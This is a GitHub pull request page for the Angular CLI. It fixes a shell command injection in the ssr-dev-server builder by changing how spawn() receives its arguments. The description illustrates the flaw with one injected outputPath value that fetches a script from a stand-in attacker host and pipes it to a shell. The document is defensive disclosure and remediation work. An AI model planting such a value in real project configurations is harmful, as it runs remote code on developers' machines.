Skip to content

fix(build-angular): prevent OS command injection in ssr-dev-server builder#33479

Open
herdiyana256 wants to merge 1 commit into
angular:mainfrom
herdiyana256:fix/ssr-dev-server-shell-injection
Open

fix(build-angular): prevent OS command injection in ssr-dev-server builder#33479
herdiyana256 wants to merge 1 commit into
angular:mainfrom
herdiyana256:fix/ssr-dev-server-shell-injection

Conversation

@herdiyana256

@herdiyana256 herdiyana256 commented Jun 27, 2026

Copy link
Copy Markdown

spawnAsObservable() in utils.ts was building the shell command by concatenating command and args into a single string before passing it to spawn(). The call site in startNodeServer() (index.ts) was passing shell: true along with outputPath from the builder output embedded as "${path}" in the args array.

outputPath derives from the project's angular.json configuration. Because bash evaluates $() substitutions inside double-quoted strings, a value like dist/$(curl attacker.com/x.sh|sh) in angular.json causes the substitution to execute when ng serve is run — before Node.js is invoked.

Switching to the three-argument form of spawn(command, args, options) ensures arguments are passed directly to the OS via execve() without shell interpretation. The manual quoting around path and shell: true are no longer needed and have been removed.

…ilder

spawnAsObservable() was joining command and args into a single string
before passing to spawn(). In startNodeServer(), outputPath from angular.json
was embedded in args with manual shell quoting and shell: true.

Bash evaluates $() inside double-quoted strings, so a crafted outputPath
value in angular.json can trigger arbitrary command execution on ng serve.

Fix: pass command and args separately to spawn() so Node.js uses execve()
directly. Remove the manual quoting around path and drop shell: true.

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request refactors how the Node server is spawned in the SSR dev server builder. It changes the spawning mechanism from running a concatenated command string in a shell to executing the command directly with an array of arguments, removing the need for manual path quoting and the shell option. There are no review comments, and I have no feedback to provide.

@herdiyana256

herdiyana256 commented Jun 28, 2026

Copy link
Copy Markdown
Author

Reopening this security fix. The VRP report was marked as duplicate
(Issue 528599695), meaning Google is already tracking this internally
which confirms the vulnerability is real and unpatched. This PR provides
the fix. Submitting also as a Patch Rewards Program contribution.

@herdiyana256 herdiyana256 reopened this Jun 28, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant